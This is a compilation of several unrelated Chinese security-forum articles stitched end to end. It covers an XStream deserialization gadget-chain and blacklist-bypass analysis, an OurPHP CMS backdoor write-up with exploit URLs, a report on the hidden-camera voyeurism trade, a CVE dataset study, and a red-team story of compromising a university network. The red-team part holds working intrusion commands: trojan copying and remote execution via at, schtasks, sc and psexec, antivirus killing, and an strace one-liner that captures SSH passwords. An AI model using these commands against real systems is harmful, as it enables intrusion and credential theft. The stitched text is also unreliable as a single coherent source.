com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress
com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#hasNext
com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#findNextCert
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#findNextMatch
com.sun.jndi.rmi.registry.BindingEnumeration#next
sun.rmi.registry.RegistryImpl_Stub#lookup
这里接过toString函数的是`com.sun.xml.internal.ws.api.message.Packet`，并且最后以`com.sun.jndi.rmi.registry.BindingEnumeration#next`触发lookup函数
这里红框框的地方ctx被设置为`sun.rmi.registry.RegistryImpl_Stub`来对外发起RMI连接。
这里另外说一下，其实CVE-2021-29505的利用链可以简化为
sun.rmi.registry.RegistryImpl_Stub#readObject
sun.rmi.server.UnicastRef#readExternal
# trigger rmi connect
有兴趣的小伙伴可以看RMI绕过相关的文章，除了RegistryImpl_Stub，另外还有[link](https://github.com/wh1t3p1g/ysomap/blob/52df82c56896aa155b7b5fe5306f50f2f1c87622/core/src/main/java/ysomap/payloads/java/rmi/RMIConnectWrapped.java#L48-L53)
回到主题，通过29505这条链我们可以对外发起RMI连接，并且他是完全绕过16版本的黑名单的。
为此，XStream的官方出了17版本的黑名单补丁，这里来看一下17版本下所有的黑名单
黑名单字符对象
this.denyTypes(new String[] {
"java.beans.EventHandler",
"java.lang.ProcessBuilder",
"javax.imageio.ImageIO$ContainsFilter",
"jdk.nashorn.internal.objects.NativeString",
"com.sun.corba.se.impl.activation.ServerTableEntry",
"com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator",
"sun.awt.datatransfer.DataTransferer$IndexOrderComparator",
"sun.swing.SwingLazyValue"
});
黑名单正则
GETTER_SETTER_REFLECTION = Pattern.compile(".*\\$GetterSetterReflection");
PRIVILEGED_GETTER = Pattern.compile(".*\\$PrivilegedGetter");
LAZY_ENUMERATORS = Pattern.compile(".*\\.Lazy(?:Search)?Enumeration.*");
LAZY_ITERATORS = Pattern.compile(".*\\$LazyIterator");
JAXWS_ITERATORS = Pattern.compile(".*\\$ServiceNameIterator");
JAVAFX_OBSERVABLE_LIST__ = Pattern.compile("javafx\\.collections\\.ObservableList\\$.*");
JAVAX_CRYPTO = Pattern.compile("javax\\.crypto\\..*");
JAVA_RMI = Pattern.compile("(?:java|sun)\\.rmi\\..*");
BCEL_CL = Pattern.compile(".*\\.bcel\\..*\\.util\\.ClassLoader");
黑名单继承对象
this.denyTypeHierarchy(InputStream.class);
this.denyTypeHierarchyDynamically("java.nio.channels.Channel");
this.denyTypeHierarchyDynamically("javax.activation.DataSource");
this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet");
从上面列举的黑名单，我们可以知道17版本的补丁对29505这条链的几个对象进行了黑名单处理。
Pattern.compile("(?:java|sun)\\.rmi\\..*");
==拉黑==> sun.rmi.registry.RegistryImpl_Stub, sun.rmi.server.UnicastRef
Pattern.compile(".*\\.Lazy(?:Search)?Enumeration.*");
==拉黑==> com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
到这里我们可以发现，对于29505这条利用链，如下部分利用链仍然是可用的
javax.naming.ldap.Rdn$RdnEntry#compareTo
com.sun.org.apache.xpath.internal.objects.XString#equal
com.sun.xml.internal.ws.api.message.Packet#toString
com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy
com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments
com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#<init>
com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#getAttachments
com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#initializeAllAttachments
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#getCount
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress
com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#hasNext
com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#findNextCert
如果能找到从`findNextCert`函数开始的其他端点，我们仍然能对17版本的补丁进行绕过。
答案当然是肯定的，必然存在一些其他的端点，但是人工去挖掘会特别耗时，那么为了高效捡漏，我们当然不能人工去做这件事。这里我们的tabby就要登场了。
## #4 高效捡漏
这里我们先来分析一下`findNextCert`函数
从这里看，我们可以利用类属性aliases和keyStore来进行后续利用链的挖掘。
这里以aliases举例，之前29505利用链就是依靠`LazySearchEnumerationImpl#nextElement`开始找到的rmi的sink函数。那么，我们现在重新找一个新的，就需要满足如下条件：
* 1.对象实现了`java.util.Enumeration`接口
* 2.从该对象的nextElement函数开始，最终能到达一个触发恶意行为的sink函数
* 3.从nextElement函数开始到sink函数，路径上不能出现前面黑名单涉及的对象
如果能满足上述条件，那么我们就挖到了能绕过17版本补丁的新利用链。接下来的工作就交给tabby来做了。
首先，我们需要根据上述的条件，描述出具体的查询语句。先来限制一下source函数
match (source:Method {NAME:"nextElement"})
<-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]
->(cls1:Class {NAME:"java.util.Enumeration"})
match (source)-[:CALL]->(m1:Method)
source函数为nextElement，并且实现了`java.util.Enumeration`接口
再来限制sink函数
match (sink:Method {IS_SINK:true, VUL:"JNDI"})
这里就限制当前sink函数最终能达成JNDI注入的效果。
最后，我们再来限制一下路径上不能出现的黑名单对象
call apoc.algo.allSimplePaths(sink, m1, "<CALL|ALIAS", 8) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.beans.EventHandler","java.lang.ProcessBuilder",
"javax.imageio.ImageIO$ContainsFilter","jdk.nashorn.internal.objects.NativeString",
"com.sun.corba.se.impl.activation.ServerTableEntry",
"com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator",
"sun.awt.datatransfer.DataTransferer$IndexOrderComparator","sun.swing.SwingLazyValue",
"com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl","sun.rmi.registry.RegistryImpl_Stub",
"com.sun.jndi.dns.BindingEnumeration","com.sun.jndi.cosnaming.CNBindingEnumeration","com.sun.jndi.toolkit.dir.HierMemDirCtx$FlatBindings","com.sun.jndi.ldap.LdapReferralException"])
return source,path limit 50
这里第9行上的黑名单是后续人工排除后添加的（不可行或构造过于麻烦）。
把上面的3个部分合起来后查询最终能得到如下3条利用链。
分别是一下对象
* 1.com.sun.jndi.ldap.LdapSearchEnumeration 对应 CVE-2021-39147
* 2.com.sun.jndi.ldap.LdapBindingEnumeration 对应 CVE-2021-39145 （CVE-2021-39151用的也是这个）
* 3.com.sun.jndi.toolkit.dir.ContextEnumerator 对应 CVE-2021-39148
他们分别最终将调用sink函数`NamingManager.getContext`和`DirectoryManager.getObjectInstance`
这两个sink函数是JNDI处理Reference的函数，通过这两个函数可以在特定JDK版本下载入外部的任意代码，也可以在tomcat下执行el表达式，具体可以看JNDI关于Reference的知识。
## #5 补丁修复
XStream 1.4.18版本开始将默认开启白名单模式，只允许几个基础类型的进行还原。
但是这里想不明白的是为何将之前的黑名单处理直接删除了，这意味着未来XStream的安全性将依靠开发者对于反序列化风险的认识。
此外，后续版本绕过默认白名单还是存在可能性的，但是估计没办法像现在这样能造成那么大的危害了吧。
## #6 总结
本文讲述了我是如何通过tabby来捡漏利用链的，这里欢迎师傅们给tabby提pr或issue。
另外，这里还有一件趣事，由于国内过于积极提交利用链，XStream官方无奈之下默认开启白名单的方式来解决后续可能的绕过。嗯，手动狗头。 | 社区文章 |
影响范围：v1.7.5-v1.8.3
先看 function\editor\php\upload_json.php第23行
if(isset($_GET["upload_file"])){
$json = new Services_JSON();
echo $json -> uploadsafe();
}
跟进function\editor\php\json.php 第238行
function uploadsafe()
{
global $ourphp;
return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32).'-->';
}
后门之处，暴露口令码、安全校验码的前32位，6位是在这32位里。
再看看安全校验码生成的地方，在function\install\index.php的第288行
$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);
$str_f = '$';
$str_tmp = "<?php
/*
* Ourphp - CMS建站系统
* Copyright (C) 2014 ourphp.net
* 开发者：哈尔滨伟成科技有限公司
* ------------------------------- * 网站配置文件 (2016-10-22)
* ------------------------------- */
define('OURPHPNO', true);
define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));
include '".$mysql_file."';
".$str_f."ourphp = array(
'webpath' => '/', // 网站路径
'validation' => '12345', // 口令码
'adminpath' => 'client/manage', // 管理员默认目录
'mysqlurl' => '".$ourphp_dburl."', // 数据库链接地址
'mysqlname' => '".$ourphp_dbname."', // 数据库登录账号
'mysqlpass' => '".$ourphp_dbpass."', // 数据库登录密码
'mysqldb' => '".$ourphp_mydb."', // 数据库表名
'filesize' => '5000000', // 附件上传最大值
'safecode' => '".$ourphp_safecode.$safecode6."', // 安全校验码
'mysqltype' => '".$mysql_type."',
);
可以看到随机一个32位，然后取32位的第6位后的6位拼接
再看\client\manage\ourphp_filebox.php 第45行
if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){
$_SESSION['ourphp_outtime'] = time() + 3600;
$_SESSION['ourphp_out'] = "ourphp";
}else{
if(isset($_SESSION['ourphp_out'])){
$filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']);
}else{
include 'ourphp_checkadmin.php';
$filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']."templates/");
}
}
这里只要口令码、安全校验码正确就可以对文件进行操作（编辑、重命名）
再看832行，重命名的操作，可以大小写绕过
function renam($rename, $nrename, $folder) {
global $meurl,$folder;
$php = explode('.',$nrename);
$php = end($php);
if($php == 'php' || $php == 'asp' || $php == 'jsp' || $php == 'aspx'){
printerror("重命名出错！");
exit;
}
Payload：
<http://localhost:88//function/editor/php/upload_json.php?upload_file=aaa>
[http://localhost:88/client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg](http://localhost:88/client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg)
验证：
获取口令码、安全校验码
文件管理： | 社区文章 |
# 偷拍产业链“上游”：偷拍视频是如何获取的？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
但近年来，入住酒店却发现隐藏摄像头、家庭安防摄像画像被上传到”不法”网站的新闻数不胜数，深究其原因一方面是偷拍者的窥私心理、不良嗜好，一方面是源于针孔摄像机门槛低，吸引了黑灰产的目光。
**一条从制造、出售、安装、偷拍到售卖传播不雅视频的黑灰产业链逐渐形成。** 本文通过对产业链的剖析，解开其产业链背后的面纱。
## 泛滥的针孔摄像头售卖市场
针孔摄像机由于其袖珍易隐藏的特点颇受“不良嗜好”人员的偏爱。一方面一些安防摄像机借助”针孔”、“超小”、“微型”等诱导性词语在电商平台售卖，产品的介绍页以体积小、无光夜视、超长待机、隐蔽性好为卖点，力求更加吸引买家关注。
电商平台贩卖的“袖珍型”针孔摄像机
一方面如“打火机”摄像机、“插排”摄像机等针孔摄像机，以既不会断电，也不容易被发现，让人防不胜防为“噱头”，在偷拍、色情论坛等渠道贩卖。
具有隐蔽偷拍功能的摄像机
于此同时，各类摄像机配件渠道商也在电商平台拓展了自己的业务线，出售微型摄象机组装配件，且支持按需定制，二次开发。
**意味着买家即可通过购买配件组成针孔级别的摄像机，也可从多种渠道购买到针孔级别的摄像机“成品”。**
## 推波助澜的偷拍客
伴随着多部门联合开展打击淫秽色情网站的行为，传统满屏广告模式的“色情网站”逐渐减少，
**“偷拍“类视频悄然兴起，获得偷拍视频、视频贩卖、流量转化的产业链形成。** 其中，获得偷拍视频的方式较多，其主要通过
**“人肉”偷拍、“情景剧形式（偷拍）”** 等形式获得视频。
### “人肉”偷拍模式及其衍生的黑灰产业
部分针孔摄象机已具备了高清、夜视（无灯光）、远控等功能，偷拍客通过多种渠道购买针孔摄像机后，将针孔摄像头安装在酒店宾馆或公共厕所等各类隐蔽的地方；或利用各类如“插排”摄像机等生活物件类进行视频偷拍。
于此同时，由于黑灰产养号（利用群控软件批量运营社交账号）产业的发展，互联网出现了众多为养号服务提供身份伪装的产业，如 **身份套图**
产业。部分偷拍客，正是利用套图产业，将自身形象包装后，借助社交软件吸引女性观众，以交友为幌子，将其骗至固定场所，进行视频偷拍。
**某套图平台贩卖的套图**
### 情景剧（偷拍）模式及其衍生黑灰产业
互联网直播的红利吸引了色情产业的目光，纷纷搭建色情直播平台，与传统直播行业不同的是，其不仅仅有如唱歌跳舞等才艺展示，还有各式情色表演。为吸引观众的目光，衍生出直播“偷拍”模式。主播事前制作完情景剧本后，以偷拍的机位进行视频直播，借助各种诱惑性剧本吸引观众入场。
**某平台售卖的色情直播源码**
色情直播产业及四方支付产业的快速发展，为色情直播提供搭建服务的黑灰产业也应运而生，并形成不同模式：
n一种是为色情直播平台， **提供直播平台源码及定制化服务** 的模式。
n一种是 **提供含色情视频/偷拍视频的假冒色情直播平台源码**
，此种应用点击后，视频会有试看模式，试看结束后，需要缴纳视频播放费，但观看者实际支付时的费用远大于支付界面提示的金额。
偷拍产业的形成，一方面是偷拍者为了满足自身的窥私心理，一方面是不法分子利用偷拍视频谋取暴利。对于以偷拍形式获取的视频资源，不法分子是通过什么方式进行贩卖变现的？又有哪些人在为偷拍视频“买单”？我们下期分说~ | 社区文章 |
给大家汇报一下最近工作，主要做了这么几个事情：
1. 1999-2020年CVE数据分析。
2. 增量CVE数据的T级监控。
3. EXP预警。
4. 全局自动化。
## 产出及价值
* 汇总产出一份近20年来CVE原始数据集：CVE2020，且持续自动更新，具备66个属性。借助数据集，可以分析各个属性数据的外在表现，推测其内在规律，辅助安全工作。
* 经过交叉打标，产出带有EXP标记的CVE标记数据集：EXP2020，且持续自动更新。借助已有标记数据集，通过机器学习和深度学习算法训练，可以预测CVE被利用的可能性，有的放矢，提高预警时间。
* 基于以上工作，开发名为CVE-Flow的工具，实现历年来CVE数据的分析、增量CVE的T级监控、EXP预警和全局自动化功能，作为外部威胁情报，给攻防双方提供有价值的CVE数据和建议。
## 起源
在我写的博文中，经常会交代文章的“起源”，介绍写这篇文章的原因和其中思考的过程。这主要来源于早前在乌云看洞的时候，漏洞详情经常有果无因，只介绍了漏洞的触发点和利用方式，而最重要的如何发现这个触发点的过程却没有被提及，对于漏洞平台来说，要的是结果，而对于白帽子来说，更重要的可能是发现漏洞的过程，而这部分是缺失的，当然，这也可以理解，毕竟漏洞详情不是博文。
idea起源于目前的现状：从防的角度，做安全检测的场景和机器学习方法有一堆，但从攻的角度，机器学习的成功应用较为欠缺和有限。而从攻的角度来想，应用场景必然绕不开漏洞，那么问题也就变成了，机器学习在漏洞方面的应用。在dblp上使用vulnerability
machine learning deep
learning等关键字搜索，做了一下调研，发现大部分研究更偏向于学术型和研究型，能在工业界产生实际应用价值的很少，其中有一个比较有意思的应用是预测漏洞被利用的可能性。当时看到这个才发现我的思维定势，机器学习在漏洞方面的应用一定是指机器学习来挖洞吗？机器学习也可以应用在漏洞数据方面，可以做的事情是工程化”预测漏洞被利用的可能性“，为工业界服务。顺手在管理idea的仓库简要记录下了整个过程。
在这里给大家安莉下我的idea管理小本本，主要记录idea和TODO，找到适合自己的项目和时间管理工具很重要。
言归正传，回到机器学习和漏洞数据。先有数据后有天，如图是first.org截止到2016年3月17日，汇总的全球漏洞库，经过我的二次验证，发现除了最后一行的乌云不可用之外，其余漏洞库均在正常维护、更新和运营。目前漏洞库，官方的有美国nvd、CVE等，中国cnvd、cnnvd，澳大利亚AusCERT，欧洲CERT-EU，日本的JVN，JVN iPedia，芬兰的NCSC。非官方的主要有：Exploit DB，Rapid7的漏洞和利用库，Security Focus等。
研究了一下各大漏洞库的漏洞数据标准，发现都对标的CVE。CVE就像是一个枢纽，连接了全球的漏洞数据。这么看来可以从CVE数据出发，应用机器学习算法。如果有了大量的CVE数据，难道只做算法？用算法不是目的，是手段。产生价值才是目的。数据本身的简单统计和数据分析，同样能产生巨大的价值。
到现在为止，梳理一下我们要做的事情有：CVE数据分析（存量CVE数据分析和增量CVE监控），使用机器学习算法预测CVE的EXP可能性。
接着，向前思考怎么获取CVE及相关数据，爬虫爬还是下载订阅数据？在线还是离线？如何更新？等等的策略问题。向后思考结果和结果的展现形式。这些都是问题。
那么到这里，我们还有一件事情要做：自动化，做到自动可持续性更新，避免成为工具人。
## 存量CVE数据分析
先介绍点CVE相关的背景知识：CVE、MITRE、NVD、NIST、CVEdetails。安全绕不开漏洞，漏洞绕不开CVE（通用漏洞披露），CVE可以看成漏洞的美标，1999年由MITRE公司提出，现流行的ATT&CK也是由MITRE提出。MITRE上的CVE数据会被及时同步到NVD（美国国家漏洞库），NVD又是由NIST（美国国家标准技术研究所）于2005年支持创建的。而CVEdetails是2010年由第三方个人开发的，收录的CVE数据和官方的CVE数据有重叠，有差别，数据更新慢于官方几个月。
从cve的官网cve.mitre.org没有发现现成可利用的数据，爬虫爬的话，因为CVE数据字段比较多，难定义数据的统一格式，还好在NVD上有现成的data
feeds，提供了1999年以来所有CVE数据，且定义好了数据格式。
解析完发现，一条完整的CVE数据最多包括66个字段，主要分为这几大类：CVE基本信息，CWE通用弱点枚举，reference引用，描述description，CPE通用平台枚举，impact影响，publishedDate公布时间，lastModifiedDate最近更改时间。其中CWE可以理解为漏洞类型，也是由MITRE提出的标准，CPE是标记漏洞影响产品的类型，是系统还是应用或是硬件，impact包括CVSS
V2和CVSS V3两个版本通用漏洞评分系统。
首先对1999年-2020年5月8日的CVE数据做探索性数据分析。
截止到2020年5月8日，总计有142887个CVE，下图为CVE数量随时间变化趋势图，从趋势线可以看出，CVE数量是不断增多的，在2016-2017年CVE数量陡增，翻了近三倍，2017-2019三年来CVE数量也居高不下，仅2020年前四个多月，就爆发了6838个CVE，这样看来2020全年爆发的CVE极有可能多于2019年的18938个CVE。透过现象窥本质，为什么近三年来CVE量居高不下？是什么在驱动安全人员连年产出几万的CVE？相较于2016年，2017年究竟发生了什么？种种这些，归根结底肯定是利益相关的原因，但具体是什么呢？
是因为2017年安全行业发生的“维基解密”、“NSA武器库泄露”、“WannCry勒索病毒”等重大安全事件吗，或许有这方面原因吧，但肯定不止这些。
从漏洞危害的视角，探索CVE数量随时间变化趋势，这里采用CVSS
V2划分漏洞危害的标准，将漏洞分为高危、中危、低危。从下图可以看到高危和低危漏洞增长的不算多，主要增长点是中危漏洞，中危漏洞频发。
细心的读者可能会发现上图中每年的高危、中危、低危CVE加起来都不等于上上图中的年CVE总量，准确地来说，是都小于，这是因为有部分CVE的状态是Rejected，漏洞被拒绝了，不是有效漏洞。当然这部分CVE都是有CVE
id的，但这并不代表漏洞一定有价值，甚至漏洞都不一定真实存在。这涉及到申请CVE的流程，分为两大步：预定CVE编号和公开CVE漏洞进行验证。被分配了CVE
id后，此时CVE的状态是Reserved，处于保留状态，还需要公开漏洞进行验证，验证不通过的即被拒绝。
从漏洞类型的视角，计算出1999-2020年CVE的有效CWE id
Top10，分别代表：XSS、缓冲区溢出、不正确的输入验证、敏感信息泄露、SQL注入、权限和访问控制、目录遍历、资源管理错误、CSRF、密码问题。
再细化到每年，观察漏洞类型随时间的变化。考虑到CWE是在2006年被提出的，所以我们选取2006年以来的数据，取每年top3漏洞类型的并集，分别为：CWE-200、CWE-79、CWE-20、CWE-119、CWE-264、CWE-89、CWE-94，分别代表：敏感信息泄露、XSS、不正确的输入验证、缓冲区溢出、权限和访问控制、SQL注入、代码注入。除CWE94即代码注入外，其余均在1999-2020年总数据的top10内。
可以看到，漏洞类型随时间的变化，有升有降。这里直接给出几点分析结论。
1. 敏感信息泄露越来越严重，从2014年开始爬坡，2017年到达顶峰，后续居高不下。
2. XSS连续三冠，从2017年陡增，至今成为CVE的主旋律。
3. 不正确的输入验证，从2017年持续增长至今。
4. 缓冲区溢出在2017年到达顶峰后，近年来逐步回落。
5. SQL注入不生不死，2017-2019近三年来，日均一个半CVE。
6. 权限和访问控制漏洞越来越少，我验证了好几遍数据，2020年至今未出现一例包含CWE-264的CVE。这块有点反常，从2018年开始火热的云原生和权限、访问控制密不可分，为什么这方面CVE比较少，甚至2020年都没呢，是因为CVE官方可能将此类型的洞归属到了其他CWE id吗，还是说是因为安全相较于基础设施的演进，安全漏洞有个滞后期吗？如果是的话，是否能一定程度上说明这是一片蓝海？
7. 代码注入连年少得很，仅在2006年排名top1，近10年来都没怎么进过top10。
所以，能给出的通用建议是：建议甲方安全重点关注敏感信息泄露、XSS和不正确的输入验证。乙方和白帽子的话，可以重点就这三类漏洞锤甲方，因为大量的数据表明，这三类洞是真的多，一锤一个准。
从CVE的引用视角，通过提取引用链接的主域名数据并归并，发现CVE引用的头部数据为：在美安全公司的漏洞库、美日官方的漏洞库、各大产品厂商官方的安全通告。其中产品厂商绝大部分为oracle、apple、ibm、google、android、cisco、Microsoft、adobe、wordpress等美属企业，其中有个例外是华为，从这点看来华为安全的国际化做的不错。
分析到这里，除了华为，我国官方安全机构、安全公司和产品厂商在CVE中的存在感很弱，究其原因，猜测是安全的国际化做的不好，例如cnvd都没英语版网页。
种种这些，形成了一个既定的事实：CVE及周边是且仅是美国的一种安全生态，我们目前仍依附于此。被动依附总不是个长久的办法，是走国际化主动向CVE对接，还是联合起来做自己的标准和生态（虽然目前cnvd也联合很多安全公司做漏洞，但目测只处于正规化阶段，离标准化、生态化还比较远），这是个问题。
在CVE的引用中有个tag字段标记了CVE是否有现成的exploit，这决定了漏洞被利用的难度。exp源主要有这么几类：第一大类是github，github提供了最多的exp，第二类是安全组织和厂商，包括维护的漏洞库和官网，如packetstormsecurity、secunia、securityfocus、exploit-db、talosintelligence、hackerone等，第三类是受影响产品厂商，如wordpress、google、blogspot。
因此可以通过监控和爬取上述提供exp数据的头部源，一方面可以早发现exp，另一方面可以给CVE数据打标，标记CVE是否有公开的exploit，如果有，exp是什么，来自哪里。以此维护一份较为完整的CVE
exp库，使用机器学习训练该库的标记数据，预测CVE被利用的可能性，这也引出了下面EXP预警部分。
最后，从CPE，即通用平台枚举的视角，简单统计下CVE涉及到的产品和厂商数据。1999年-2020年，CVE中总计涉及到8431个产品和厂商，下图为top10数据，google占到了22.8%，相当于第25名往后所有厂商的总和，google真就以一己之力养活了大半个安全圈从业人员。
除了这些分析，还可以使用这批数据做很多有意思的分析，推测和验证想法，从数据中，发现一些安全趋势，助力安全工作。
源码和数据集将会开源在[CVE-Flow](https://github.com/404notf0und/CVE-Flow "CVE-Flow")。 | 社区文章 |
# 从Java RMI反序列化到内网沦陷
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在一个秋高气爽的上午，特别适合划水(mo
yu)。九点半接到来自CBD的外卖早餐单，穿着黄色的工作服，走街串巷，四处奔走，一口气不带喘爬上38楼（毕竟坐的是电梯），登上城市的高峰，一望无际的大海，是我渴望不可及的梦想，深深感受来自资本主义的鞭策，早安，打工人。把热腾腾的豆汁递给了满眼黑眼圈的安服仔，安服仔满怀感激的目光注视着我，吐槽道：“害，熬了个通宵打演练，结果webshell都没有，太难了，这次七天的演练项目怕是要凉了，唯有这碗豆汁能激发我的斗志了。”作为一个前安服仔，现任鹅了没的骑手，不能就这样让后浪（jiu
cai）就这样倒在浪潮里。拍着隔壁安服仔的肱二头肌，说道“Welcome to the real world，Welcome to the jungle。”
安服仔顿时眼神憨住“说人话。” “来把我带上你工位，我来帮你看看。”
## 正式开始
映入眼帘的是两个大屏，分别显示着Nmap、Nessus、Xray的扫描报告，汇总分门别类的展示了各个子域名对应端口、服务、第三方组件、组织架构等信息。
快速对信息收集报告扫了一眼，发现一处x1099端口对应java
rmi服务，这说明好的渗透测试皆是基于信息收集做的好，作为一个三年渗透经验的安服仔，立即联想到之前Java
RMI存在反序列化漏洞CVE-2017-3241，掏出大佬写的工具。
果然，很快啊，啪的一下出来了，果断Cobalt strike执行下powershell上线，年轻人不讲武德.jpg。
德x巧克力纵享丝滑般的顺畅（麻烦德x给我一下广告费），啊不，渗透享受丝滑般快感。上来就是system，连提权都省了。不到五分钟，外网第一个点打下来了，安服仔看向我的眼神多了几分仰慕。
## 内网渗透
进来先直接在CobaltStrike上运行mimikatz的logonpassword，进行明文密码dump。
获得第一个A密码btscxxx$789，规律就是主站域名+数字789。
使用systeminfo查看，发现该机器并没有加域。╮(╯-╰)╭好叭又是工作组渗透，因为该目标是教育行业某大学，感觉如果维护人员是学校计算机教师兼职维护的话，安全性应该不是特别高，内网流量监控应该不严，常规套路通过lcx代理进入内网（通过tasklist
/svc还发现该机器上存在数字杀软，通过本地搭建杀软环境，myccl定位了一下特征码，发现杀的基本都是提示的字符串，通过CS32ASM把全部字符串大小写反转一下，bypass
so easy 这里假装有图，感觉没啥技术难度，就不展开细说。）。
目标机器（肉鸡）上传lcx，接着执行lcx -slave 攻击者IP VPS监听端口 目标机器IP 转发的目标机器端口
攻击者本地VPS监听 lcx -listen 监听端口(随便设置) 转发到本地的端口(随便设置，远程端口链接)
中间一度转发成功，但死活连接不上，然后看了一下进程发现存在一个安全狗的服务器版本，想了想应该多半这玩意拦截，啪的一下Kill掉，接着用网上的方法禁止掉服务，发现没啥卵用，他的进程会自动复活，后面凭借单身二十年载的手速，跟他拼了，K掉立即连进去，手动退出安全狗，禁止服务，一口气不带喘操作，后面连接远程桌面才没断断续续。
进来打开IIS看看我们的靶标系统在不在这里，发现还是不在这台机器上，ping
一下发现在另外一台机，当前机器在是35，靶标是36目标主站，尝试直接利用刚才抓的密码btscxxx$789登录靶标，报了个密码错误，气的直跺脚，啊这，主站不是这密码，但内网其他机器是这个密码。
接着超级弱口令先跑一波该密码。
接着漫长的跑网段，这里是个B段，但为了探测方便（不影响业务）就一个个段手动跑，晚上的时候可以考虑大一点的流量进行跑。接着手工进入后一个个powershell弹回来（由于没编写脚本，只能搬砖的节奏）。
目前把一部分该拿的分拿了，该回到第一台机器上翻翻垃圾堆，说不定有一些其他的面包屑信息可以帮助你再进一步渗透。在A机器上发现有一个8uftp，直接连进去发现了靶标系统主站A，
使用星号密码查看器读取密码，获得B密码btscxxx$8888888（主站域名+某办公室电话）
尝试写入文件看看是不是真的目标，请求页面确认无误，传入一句话木马。
冰蝎连入，找到conn.asp文件翻到上面的mssql数据库账号sa、密码btscxxx!123，果断尝试连接数据库exec执行命令反弹powershell。![img]
此时得到MSSQL数据库C密码btscxxx!123，也获得了靶标系统的权限。继续通过mimikatz密码hashdump，得到主机其实就是B密码btscxxx$8888888
接着继续拿着B、C密码接着跑一波。
这张图不太全（假装图全），其实大概一共跑了四十到五十台机器，像SQL
Server就直接exec命令执行，如果百度一下出错提示信息的修复一下。如果是mysql的root，常规udf根据版本再决定udf.dll传入哪个插件目录（<5.1
C:\Windows&C:\Windows\Temp,>5.1
Mysql当前目录）。SMB的话通过IPC$或者WMI的方式连进去(这里参考一下腾讯蓝军jumbo写的-红蓝对抗之Windows内网渗透)，例如
net use \\\\\192.168.0.1\ipc$ “password” /user:administrator
复制木马到C盘临时目录下
xcopy muma.exe \\\\\192.168.0.1\C$\temp
接着根据系统版本选择使用计划任务**at**(<=Win7,Server2003)或者**Schtasks**(>Win7,>=Server2008)或者**sc**服务(都支持)启动进行启动，个别杀软会拦截启动项设置，这里不在讨论范围内。
A、at
at \\\\\192.168.0.1 15:15 C:\Windows\Temp\muma.exe
这里可以提前通过net time 查看一下当前机器的时间，设置在下一分钟启动
net time \\\\\192.168.0.1
B、schtasks
schtasks /create /s 192.168.0.1 /u domain\Administrator /p password /ru
“SYSTEM” /tn “windowsupdate” /sc DAILY /tr “calc” /F
schtasks /run /s 192.168.0.1 /u domain\Administrator /p password /tn
windowsupdate
C、sc
sc \\\\\192.168.0.1 create windowsupdate binpath= “calc”
sc \\\\\192.168.0.1 start windowsupdate
亦或者通过psexec直接执行
psexec.exe \\\\\192.168.0.1 -accepteula -u username- password cmd /c
c:\windows\temp\muma.exe
陆续反弹回来八十多台机器，
但还是有一部分权限机器没拿到，重新梳理了一下RDP 3389端口，还有SSH
22端口，再根据计算机名，找到疑似管理员常用机器，翻了一下桌面常用的软件lnk，发现了有xshell，果断3389连接进去。
先登录第一个终端，使用命令对ssh进行监听，因为比较懒就不破解xshell得配置文件（其实是没破出来，只能这样了），读取密码。
strace -xx -fp `cat /var/run/sshd.pid` 2>&1| grep --line-buffered -P 'write(d, "\x00' | perl -lne '$|++; @F=/"s*([^"]+)s*"/g;for (@F){tr/\x//d}; print for @F'|grep --line-buffered -oP '.{8}K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie'
然后再登录一次终端，第一次登录的终端上即可获取到ssh的登录密码。
接着得到Linux的D 密码btscxxx!IZXC，根据上面的情况盲猜有一大片Linux机器也是一样。继续漫长的跑密码。
陆续又收割20多台Linux服务器，但还是有一批windows服务器没访问上去，作为二十一世纪安服仔的希望本着要打就打满分，果断登录进去看看到底是何方神圣，居然能访问，但密码不对？？
